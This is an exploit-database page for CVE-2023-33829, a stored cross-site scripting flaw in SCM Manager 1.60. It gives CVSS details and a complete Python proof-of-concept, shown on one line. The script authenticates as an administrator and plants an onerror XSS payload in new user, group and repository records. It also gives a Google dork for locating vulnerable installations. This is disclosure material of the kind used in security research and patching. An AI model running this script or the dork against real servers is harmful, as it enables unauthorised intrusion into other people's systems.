Exploitalert - Database of Exploits

SCM Manager 1.60 Cross Site Scripting

CVE	Category	Price	Severity
CVE-2023-33829	CWE-79	$500	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2023-05-28

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H	0.35266	0.90357

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2023050075

SCM Manager 1.60 Cross Site Scripting

#!/usr/bin/python3 # Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) # Google Dork: intitle:"SCM Manager" intext:1.60 # Date: 05-25-2023 # Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829) # Vendor Homepage: https://scm-manager.org/ # Software Link: https://scm-manager.org/docs/1.x/en/getting-started/ # Version: 1.2 <= 1.60 # Tested on: Debian based # CVE: CVE-2023-33829 # Modules import requests import argparse import sys # Main menu parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit') parser.add_argument("-u", "--user", help="Admin user or user with write permissions") parser.add_argument("-p", "--password", help="password of the user") args = parser.parse_args() # Credentials user = sys.argv[2] password = sys.argv[4] # Global Variables main_url = "http://localhost:8080/scm" # Change URL if its necessary auth_url = main_url + "/api/rest/authentication/login.json" users = main_url + "/api/rest/users.json" groups = main_url + "/api/rest/groups.json" repos = main_url + "/api/rest/repositories.json" # Create a session session = requests.Session() # Credentials to send post_data={ 'username': user, # change if you have any other user with write permissions 'password': password # change if you have any other user with write permissions } r = session.post(auth_url, data=post_data) if r.status_code == 200: print("[+] Authentication successfully") else: print("[-] Failed to authenticate") sys.exit(1) new_user={ "name": "newUser", "displayName": "<img src=x onerror=alert('XSS')>", "mail": "", "password": "", "admin": False, "active": True, "type": "xml" } create_user = session.post(users, json=new_user) print("[+] User with XSS Payload created") new_group={ "name": "newGroup", "description": "<img src=x onerror=alert('XSS')>", "type": "xml" } create_group = session.post(groups, json=new_group) print("[+] Group with XSS Payload created") new_repo={ "name": "newRepo", "type": "svn", "contact": "", "description": "<img src=x onerror=alert('XSS')>", "public": False } create_repo = session.post(repos, json=new_repo) print("[+] Repository with XSS Payload created")

Impressum